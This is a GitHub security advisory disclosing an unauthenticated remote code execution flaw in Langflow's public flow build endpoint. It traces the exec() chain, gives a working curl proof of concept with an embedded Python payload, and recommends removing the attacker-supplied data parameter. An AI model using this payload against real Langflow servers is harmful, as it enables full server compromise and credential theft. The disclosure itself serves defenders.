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Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

Critical severity GitHub Reviewed Published Mar 16, 2026 in langflow-ai/langflow • Updated Mar 17, 2026

Package

pip langflow (pip)

Affected versions

<= 1.8.1

Patched versions

None

Description

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data)generate_flow_events() -- build.py:81
  2. create_graph()build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges()initialize()_build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component()instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code)create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

Aspect CVE-2025-3248 This Vulnerability
Endpoint /api/v1/validate/code /api/v1/build_public_tmp/{id}/flow
Fix applied Added Depends(get_current_active_user) None -- NEW vulnerability
Root cause Missing auth on code validation Unauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution via validate_code()exec() create_class()prepare_global_scope()exec()
CISA KEV Yes (actively exploited) N/A (new finding)
Can simple auth fix? Yes (and it was fixed) No -- endpoint is designed to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
    # REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_eventscreate_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

async def create_graph(fresh_session, flow_id_str, flow_name):
    # For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )

References

@andifilhohub andifilhohub published to langflow-ai/langflow Mar 16, 2026
Published to the GitHub Advisory Database Mar 17, 2026
Reviewed Mar 17, 2026
Last updated Mar 17, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

EPSS score

Weaknesses

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-33017

GHSA ID

GHSA-vwmf-pq79-vjvx

Source code

Credits

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